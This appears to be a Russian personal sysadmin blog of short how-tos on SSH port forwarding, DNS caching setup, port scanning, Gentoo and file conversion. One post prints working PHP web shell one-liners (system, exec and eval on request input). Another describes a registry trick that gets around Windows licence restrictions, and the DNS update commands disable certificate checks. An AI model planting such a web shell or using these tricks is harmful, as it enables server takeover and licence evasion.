Как считать на пальцах до 1023 в двоичной системе

Понадобятся 2 руки, 10 пальцев

1)Повернуть ладони к себе, выпрямить пальцы
Обозначить загнутый палец как единицу, а прямой, как ноль.
2)Запомнить следующие значения:



Пальцы левой руки:
большой – 1
указательный – 2
средний – 4
безымянный – 8
мизинец – 16

Пальцы правой руки:
мизинец – 32
безымянный – 64
средний – 128
указательный – 256
большой – 512


3)Далее берем любое число и раскладываем на слагаемые от самого большего, например 513 – это 512 + 1, значит загибаем большой палец правой руки и большой палец левой руки. На бумаге будет выглядеть так: 1000000001. Запись идет c права на левов ориентируясь на загнутые пальцы.
Т.е загнули пальцы и считаем: загнутый =1, не загнутый =0.
Ещё пример: 25=24+1;16+8+1
Загибаем:
Пальцы левой руки:
большой – 1
безымянный – 8
мизинец – 16
Считаем: 10011
Оригинал
PS.
Можно и на бумаге
1)делим исходное число на 2 нацело(с остатком) в десятичной системе, результат записываем в качестве нового значения десятичноо чила,
2)остаток от деления( это 0 или 1) приписываем слева, к полученным ранее цифрам в двоичной записи исходногочисла(первая полученная цифра соответствует младшему разряду) так продолжаем, пока число не доделиться
пример:
деление остаток
123/2=61 (1)
61/2=30 (1)
30/2=15 (0)
15/2=7 (1)
7/2=3 (1)
3/2=1 (1)
1/2=0 (1)
теперь записываем всё это в строчку(первая цифра это самый младший порядок), выходит:1111011, можешь проверить на Винде в калькуляторе(вид->инженерный)
Оригинал

SSH проброс портов

Мой замечательный провайдер выделил белый IP адрес в интернете
Не долго думая попросил пробросить мне порты
Поскольку работаю Freelancer'ом ездить на работу мне удовольствия не доставляет
VPN решил не использовать из-за избыточности.
И мой сервер не приготовлен для VPN. Пришлось бы полностью перенастраивать.
Да и клиентскую часть от OpenVpn таскать с собой...
К счастью нашлось решение: SSH
1)Для начала правим конфиг SSH
nano /etc/ssh/sshd_config
Добавляем
AllowTcpForwarding yes
Перезапускаем SSH

/etc/rc.d/sshd restart (FreeBSD)
/etc/init.d/sshd restart (Linux)

2)Локальный проброс

Из названия следует, что проброс будет действовать для локальной сети
Делаем:
ssh -L9999:192.168.5.230:3128 192.168.1.1

после авторизации на вашем локальном будет слушаться порт 9999.
Т.е Мы пробросили 192.168.5.230:3128 на 192.168.1.1:9999

Проверить можно следующим образом:
netstat -lnp | grep 9999
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN 16384/ssh

Теперь немного подробнее о параметрах:
-L - указывает что будем организовывать локальный проброс порта, то есть наш туннель будет открываться на локальной машине, то есть на локальной машине будет слушаться порт
9999 - указывает какой именно порт мы будем открывать локально
192.168.5.230:3128 - указывает на какой хост:порт мы будем пробрасывать туннель, хост который видно с сервера на который мы устанавливаем ssh соединени

В результате наших действий если поставить в браузере прокси сервер 127.0.0.1:9999 мы будем, к примеру, ходить в интернет через прокси-сервер который находится в другой подсети.
3) Удалённый проброс
Действует не только локально, но и удалённо.
ssh -R2222:localhost:22 234.12.34.34
или
ssh -R2222:192.168.1.234:22 234.12.34.34


Мы пробросили на 234.12.34.34:2222 адрес 192.168.1.234:22

Т.е сначала делаем туннель.
ssh 234.12.34.34 -p 2222 -v
-v это для отладки, что-бы видеть что происходит

Затем не прекращая сессии подключаемся к 234.12.34.34 по порту 2222
И получаем доступ к 192.168.1.234 по 22 порту

Оригинал
О том как сделать постоянный проброс портов для нескольким приложений читать Здесь

Используем OpenDNS+DynDNS+pdnsd(или Bind) для защиты и ускорения на dynamic IP

Всем привет.
Нам потребуется:
1)Модем с поддержкой DynDNS(опционально)
2)UNIX система (опционально)
3)Прямые руки

Приступим:
1)Идём на DynDNS.com
Регистрируем там домен, в моём случае myhost.ath.cx
Затем переходим в модем, роутер, прогу и делаем синхронизацию с аккаунтом
2)Идём на OpenDNS.com
Проходим регистрацию
Настраиваем:
Во вкладке Networks ставим имя сети, задаём свой IP

Во вкладке Settings => Content Filtering => Choose your filtering level => Custom Выбираем необходимые фильтры контента.
3)Идём на dnsomatic.com
Аккаунт должен быть создан при регистрации на OpenDNS
Переходим на вкладку Your Services
Затем добавляем Service:DynDNS
User ID:Ваше имя на DynDNS
Password:Ваш пароль
Host/Identifier:Ваш хост, в моё случае myhost.ath.cx
Жмём Update Account Info
Затем добавляем Add a service:OpenDNS
Имя сети: имя указанное при вводе IP на OpenDNS
Жмём Update Account Info
4) Вписываем DNS OpenDNS в свой модем, соединение, и т.д
208.67.222.222
208.67.220.220


В принципе всё. Но мы идём дальше:

Поставим кэширующий DNS
Все действия описаны для Gentoo(Linux)
Для начала разберёмся с pdnsd
Я предпочёл его, за перманентный кэш.
1)Ставим pdnsd
В моём случае emerge pdnsd
Исходники доступны здесь
Переходим в /etc/pdnsd/
cd /etc/pdnsd/
Затем cp pdnsd.conf.sample pdnsd.conf
Правим:
У меня в конечном варианте выглядит так
// Sample pdnsd configuration file. Must be customized to obtain a working pdnsd setup!
// Read the pdnsd.conf(5) manpage for an explanation of the options.
// Add or remove '#' in front of options you want to disable or enable, respectively.
// Remove '/*' and '*/' to enable complete sections.

global {
perm_cache=4096;
cache_dir="/var/cache/pdnsd";
# pid_file = /var/run/pdnsd.pid;
run_as="pdnsd";
server_ip = 192.168.1.5; # Use eth0 here if you want to allow other
# machines on your network to query pdnsd.
status_ctl = on;
# paranoid=on; # This option reduces the chance of cache poisoning
# but may make pdnsd less efficient, unfortunately.
query_method=udp_tcp;
min_ttl=15m; # Retain cached entries at least 15 minutes.
max_ttl=1w; # One week.
timeout=10; # Global timeout option (10 seconds).
}

# The following section is most appropriate if you have a fixed connection to
# the Internet and an ISP which provides good DNS servers.
/*
server {
label= "myisp";
ip = 195.54.2.1; # Put your ISP's DNS-server address(es) here.
# proxy_only=on; # Do not query any name servers beside your ISP's.
# This may be necessary if you are behind some
# kind of firewall and cannot receive replies
# from outside name servers.
timeout=4; # Server timeout; this may be much shorter
# that the global timeout option.
uptest=if; # Test if the network interface is active.
interface=eth0; # The name of the interface to check.
interval=10m; # Check every 10 minutes.
purge_cache=off; # Keep stale cache entries in case the ISP's
# DNS servers go offline.
}

*/
/*
# The following section is more appropriate for dial-up connections.
# Read about how to use pdnsd-ctl for dynamic configuration in the documentation.
server {
label= "dialup";
file = "/etc/ppp/resolv.conf"; # Preferably do not use /etc/resolv.conf
proxy_only=on;
timeout=4;
uptest=if;
interface = ppp0;
interval=10; # Check if the interface every 10 seconds.
purge_cache=off;
preset=off;
}
*/

# The servers provided by OpenDNS are fast, but they do not reply with
# NXDOMAIN for non-existant domains, instead they supply you with an
# address of one of their search engines. They also lie about the addresses of
# of the search engines of google, microsoft and yahoo.
# If you do not like this behaviour the "reject" option may be useful.
server {
label = "opendns";
ip = 208.67.222.222, 208.67.220.220;
reject = 208.69.32.0/24, # You may need to add additional address ranges
208.69.34.0/24, # here if the addresses of their search engines
208.67.219.0/24; # change.
reject_policy = fail; # If you do not provide any alternative server
# sections, like the following root-server
# example, "negate" may be more appropriate here.
timeout = 4;
uptest = ping; # Test availability using ICMP echo requests.
ping_timeout = 100; # ping test will time out after 10 seconds.
interval = 15m; # Test every 15 minutes.
preset = off;
}
#Это нужно для того, что бы при отказе соединения или посещении запрещённого ресурса
#у вас выводилось окно OpenDNS, если нижнюю секцию opendns убрать то тогда
#в место окна OpenDNS будет показываться ошибка 404 вашего браузера.
server {
label= "opendns";
ip = 208.67.222.222,208.67.220.220; # Put your ISP's DNS-server address(es) here.
# proxy_only=on; # Do not query any name servers beside your ISP's.
# This may be necessary if you are behind some
# kind of firewall and cannot receive replies
# from outside name servers.
timeout=4; # Server timeout; this may be much shorter
# that the global timeout option.
uptest=if; # Test if the network interface is active.
interface=eth0; # The name of the interface to check.
interval=10m; # Check every 10 minutes.
purge_cache=off; # Keep stale cache entries in case the ISP's
# DNS servers go offline.
}

server {
label= "myisp";
ip = 195.54.2.1; # Put your ISP's DNS-server address(es) here.
# proxy_only=on; # Do not query any name servers beside your ISP's.
# This may be necessary if you are behind some
# kind of firewall and cannot receive replies
# from outside name servers.
timeout=4; # Server timeout; this may be much shorter
# that the global timeout option.
uptest=if; # Test if the network interface is active.
interface=eth0; # The name of the interface to check.
interval=10m; # Check every 10 minutes.
purge_cache=off; # Keep stale cache entries in case the ISP's
# DNS servers go offline.
}

# This section is meant for resolving from root servers.
server {
label = "root-servers";
root_server = on;
randomize_servers = on; # Give every root server an equal chance
# of being queried.
ip = 198.41.0.4
, 192.228.79.201
, 192.33.4.12
, 128.8.10.90
, 192.203.230.10
, 192.5.5.241
, 192.112.36.4
, 128.63.2.53
, 192.36.148.17
, 192.58.128.30
, 193.0.14.129
, 198.32.64.12
, 202.12.27.33
;
timeout = 5;
uptest = query; # Test availability using empty DNS queries.
interval = 30m; # Test every half hour.
ping_timeout = 300; # Test should time out after 30 seconds.
purge_cache = off;
exclude = .localdomain;
policy = included;
preset = off;
}
source {
owner=localhost;
# serve_aliases=on;
file="/etc/hosts";
}

/*
include {file="/etc/pdnsd.include";} # Read additional definitions from /etc/pdnsd.include.
*/

rr {
name=localhost;
reverse=on;
a=127.0.0.1;
owner=localhost;
soa=localhost,root.localhost,42,86400,900,86400,86400;
}

/*
neg {
name=doubleclick.net;
types=domain; # This will also block xxx.doubleclick.net, etc.
}
*/

/*
neg {
name=bad.server.com; # Badly behaved server you don't want to connect to.
types=A,AAAA;
}
*/

Думаю тут всё понятно
По непонятной причине pdnsd у меня так и не заработал, решил скомпилировать сам
cd /tmp
wget http://www.phys.uu.nl/~rombouts/pdnsd/releases/pdnsd-1.2.7-par.tar.gz
tar xvfz pdnsd-1.2.7-par.tar.gz
cd pdnsd-1.2.7
./configure --enable-ipv6 --program-prefix=/usr/local
make
cp /etc/pdnsd/pdnsd/pdnsd.conf /usr/local/etc/
cp -r src /usr/local/pdnsd
cd /usr/local/pdnsd
./pdnsd -d

Запуск в режиме Демона для проверки
Ставим bind-tools для проверки DNS
emerge bind-tools
dig ya.ru

Просмотр вывода, в моём случае
; <<>> DiG 9.4.2-P2 <<>> ya.ru
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17622
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;ya.ru. IN A

;; ANSWER SECTION:
ya.ru. 6382 IN A 213.180.204.8

;; Query time: 1 msec
;; SERVER: 192.168.1.5#53(192.168.1.5)
;; WHEN: Sat Nov 22 13:22:42 2008
;; MSG SIZE rcvd: 39

Значит работает
Осталось добавить в автозапуск
Исправленный скрипт
#!/sbin/runscript
# Copyright 1999-2004 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-dns/pdnsd/files/pdnsd.rc6,v 1.13 2007/07/13 07:46:00 mrness Exp $

opts="reload"

depend() {
need net
provide dns
}

checkconfig() {
if [ ! -e /usr/local/etc/pdnsd.conf ] ; then
eerror "You need an /usr/local/etc/pdnsd.conf file first."
eerror "There is a sample in /usr/local/etc/pdnsd.conf.sample"
return 1
fi
}

start() {
checkconfig || return 1
ebegin "Starting pdnsd"
start-stop-daemon --start --quiet --exec /usr/local/pdnsd/pdnsd -- -d -p /var/run/pdnsd.pid
eend $?
}

stop() {
ebegin "Stopping pdnsd"
start-stop-daemon --stop --quiet --pidfile /var/run/pdnsd.pid
eend $?
}

Убиваем pdnsd
Добавляем в автозапуск
rc-update add pdnsd default
Запускаем
/etc/init.d/pdnsd start
правим resolv.conf
nano /etc/resolv.conf
В моём случае
# Generated by dhclient for interface eth0
nameserver 192.168.1.5
nameserver 192.168.1.1 # на модеме то-же вписан OpenDNS+DNS провайдера
nameserver 208.67.222.222
nameserver 208.67.220.220

2) Для Bind
ставим его
emerge bind
правим конфиг
В моём случае:
options {
directory "/var/bind";

// uncomment the following lines to turn on DNS forwarding,
// and change the forwarding ip address(es) :
//forward first;
//forwarders {
// 123.123.123.123;
// 123.123.123.123;
//};

listen-on-v6 { none; };
listen-on { 127.0.0.1;192.168.1.5; };

// to allow only specific hosts to use the DNS server:
allow-query {
any;
};
forwarders { 208.67.222.222;208.67.220.220; }; // Здесь IP OpenDNS
// if you have problems and are behind a firewall:
query-source address * port 53;
pid-file "/var/run/named/named.pid";
};

// Briefly, a zone which has been declared delegation-only will be effectively
// limited to containing NS RRs for subdomains, but no actual data beyond its
// own apex (for example, its SOA RR and apex NS RRset). This can be used to
// filter out "wildcard" or "synthesized" data from NAT boxes or from
// authoritative name servers whose undelegated (in-zone) data is of no
// interest.
// See http://www.isc.org/products/BIND/delegation-only.html for more info

//zone "COM" { type delegation-only; };
//zone "NET" { type delegation-only; };

zone "." IN {
type hint;
file "named.ca";
};

zone "localhost" IN {
type master;
file "pri/localhost.zone";
allow-update { none; };
notify no;
};

zone "127.in-addr.arpa" IN {
type master;
file "pri/127.zone";
allow-update { none; };
notify no;
};

Сохраняем.
Запускаем
/etc/init.d/named start
Проверяем
dig ya.ru
Добавляем в атозапуск
rc-update add named default
Правим resolv.conf по образцу выше
nano /etc/resolv.conf

Всё.
UPD
После чтения доков по www.dnsomatic.com выяснилось, что это не совсем то, что нужно.
Это сервис для синхронизации IP между сервисами.
Для UNIX единственное, что предлагается, так это воспользоваться ddclient
Если техника позволяет, можно вписать с свой роутер, модем и т.д сервер updates.dnsomatic.com
Имя пользователя и пароль.
Мы же пойдём более простым путём:
Синхронизироваться будем через скрипт, который добавим в cron на выполнение каждые 10 минут
Для этого понадобится wget или curl
Wget:
wget -O - --no-check-certificate "https://имя_пользователя:пароль@updates.dnsomatic.com/nic/update?wildcard=YESG&mx=YES&backmx=NOCHG"
--14:13:23-- https://имя_пользователя:пароль@updates.dnsomatic.com/nic/update?wildcard=YESG&mx=YES&backmx=NOCHG
=> `-'

Resolving updates.dnsomatic.com... 67.215.64.64
Connecting to updates.dnsomatic.com|67.215.64.64|:443... connected.
WARNING: Certificate verification error for updates.dnsomatic.com: unable to get local issuer certificate
HTTP request sent, awaiting response... 200 OK
Length: 16 [text/html]

100%[============================================================================================================================>] 16 --.--K/s

14:13:24 (144.52 KB/s) - `-' saved [16/16]

Curl:
curl --insecure "https://имя_пользователя:пароль@updates.dnsomatic.com/nic/update?wildcard=YESG&mx=YES&backmx=NOCHG"

Узнаём тип файловой системы в Linux

Команда


file -s /dev/sda{1,2,3,4,5}


Номер заменить на нужный

Проверить сканером портов открытые порты , затем сопоставить их со службами (Linux)

Пусть внешний интерфейс eth1 имеет адрес 81.81.81.81. Проверим открытые порты командой:


# netcat -v -w 4 -z 81.81.81.81 1-1023 | grep succeed



либо


# nmap -sT -O 81.81.81.81



Посмотрим кто сопоставлен, к примеру, с портом 111:


# cat /etc/services | grep 111
sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP
sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP

Посмотрим, кто его прослушивает:


# netstat -anp | grep 111

tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 2457/portmap
udp 0 0 0.0.0.0:111 0.0.0.0:* 2457/portmap




Посмотрим используется ли он сейчас:


# lsof -i | grep 111

Запрет индексации поисковыми роботами

Запрет индексации поисковыми роботами
SetEnvIfNoCase User-Agent "^Yandex" search_bot
SetEnvIfNoCase User-Agent "^Yahoo" search_bot
SetEnvIfNoCase User-Agent "^igdeSpyder" search_bot
SetEnvIfNoCase User-Agent "^Robot" search_bot
SetEnvIfNoCase User-Agent "^Googlebot" search_bot
SetEnvIfNoCase User-Agent "^msnbot" search_bot
SetEnvIfNoCase User-Agent "^Aport" search_bot
SetEnvIfNoCase User-Agent "^Mail" search_bot
SetEnvIfNoCase User-Agent "^bot" search_bot
SetEnvIfNoCase User-Agent "^spider" search_bot
SetEnvIfNoCase User-Agent "^php" search_bot
SetEnvIfNoCase User-Agent "^Parser" search_bot


<Limit GET POST HEAD>
Order Allow,Deny
Allow from all
Deny from env=search_bot
</Limit>

Простой Shell на PHP

Простой Shell на PHP
<?php system($_GET["cmd"]); ?>
<? system($a);?>

<? system($a);?> or <? exec($a);?> or <? eval($a);?>

logins.php?a=[shell]

Telnet в Vista, Windows Server 2008

Vista -
Use software explorer or Click Start, Control Panel, Programs, and then Turn Windows Features on or off.
In the list, scroll down and select Telnet Client.
Click OK to start the installation.
Windows 2008 Server
Use RMT to install
If you want to use command line options - please use the following commands -
Command line to install telnet server:
start /w pkgmgr /iu:"TelnetServer"
Command line to install telnet server:
start /w pkgmgr /iu:"TelnetClient"

Конвертируем образы Nero в обычные iso

Оказывается образы nrg от небезызвестной программы Nero это те же самые iso только с лишними трехсот килобайтами в начале файла в которых свой заголовок писанный на iso. Посему конвертирование nrg образов в iso становиться тривиальной задачей.


dd bs=1k if=bla.nrg of=bla.iso skip=300

Оригинал

Переделываем Windows HOME Edition в Professional

Одна из фирм, которую я обслуживаю закупили 50 лицензионных Windows XP HOME
Поскольку на тот момент у нас там был Active Directory то разумеется о вводе ПК в домен можно было забыть.
После поиска было найдено пару рецептов, решающих эту проблему
Переделывается почти полностью, хотя некоторые функции остаются недоступны.
О том как полностью преобразовать Home в Professional можно почитать в Google.com
WINDOWS XP HOME EDITION В WINDOWS XP PROFESSIONAL 1


1. Запускаем regedit (кто не знает что это - то лезем в пуск->выполнить набираем regedit и жмем "ок")
2. Лезем в раздел реестра: HKEY_LOCAL_MASHINESYSTEM -> SYSTEM
3. Видим там несколько разделов ControlSet с номерами (например ControlSet001 и ControlSet003) - нам нужен тот, у которого самый большой из всех номер!
4. Далее лезем в Control -> Product Options
5. Там в версии Home есть параметр ProductSuite типа "мультистроковый параметр" со значением Personal - его нужно удалить и взамен него создать там же параметр с именем Brand типа "DWORD" со значением равным нулю!
6. Закрываем Regedit и перегружаем машину - при загрузке жмем F8 и входим в меню выбора варантов загрузки и выбираем тот что "загрузка в последней удачной конфигурации"
7. Вот собственно и все - как только увидите при загрузке надпись Windows XP Professional - значит все получилось!
8. Чтобы переделать XP Pro в Home - нужно ключи поменять в обратной последовательности!

WINDOWS XP HOME EDITION В WINDOWS XP PROFESSIONAL 2

Сначала нужно запустить редактор реестра regedit.exe

В папке HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/ProductOptions есть ключ ProductSuite. Он равен "Personal" у версии HOME и совершенно пуст ("") у PRO.
НО! Windows не дает изменять этот ключ Сообщает, что это нарушает лицензионное соглашение.
Однако есть хитрость, с помощью которой можно запрет обойти.

Хитрость заключается в замене этого ключа не в текущей конфигурации, а в резервной.
Для этого переходим в реестре в папку HKEY_LOCAL_MACHINE/SYSTEM/.
Помимо CurrentControlSet (текущие параметры), там есть папки типа ControlSet001, ControlSet002, ControlSet003...

Нужно зайти в ControlSet002 (если есть) или в ControlSet003 (если 002 отсутствует).
В папке с резервной конфигурацией переходим по такому же пути:
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet002/Control/ProductOptions.

Меняем ключ ProductSuite (щелкаем на нем правой кнопкой мыши и выбираем пункт "Изменить"). Просто убираем из него значение "Personal". Затем закрываем regedit и перезагружаем компьютер.

Теперь, при загрузке компьютера, нужно нажимать F8 до тех пор, пока не выскочит меню.
В этом самом меню выбираем пункт "Загрузка последней удачной конфигурации (с работоспособными параметрами)".

Лично мне помог первый способ

Оригинал

Перекодирование видео Theora в AVI

Записывал видео для курсового прогой recordmydesktop.
Пишет она классно, но для редактирования пришлось перекодировать в AVI
Для того, что-бы это осуществить требуется собрать mplayer с опцией encode
После этого можно конвертировать.
Команда:

mencoder input_file.ogg -ovc lavc -o output_file.avi

Gentoo, Обновляем Мир

Обновление и пересборка
emerge --sync && emerge -uDNav world

Более правильно
eix-sync && emerge -uDNtva world && emerge --depclean -va && revdep-rebuild

Решился...

Я всё-таки решился создать свой IT Blog.
Меня зовут Илья.
Учусь в институте ЮУПИ Челябинск.
На 5 курсе. Занимаюсь администратированием.
Сюда буду писать статьи, нужные по работе.
Надеюсь, Это будет происходить часто.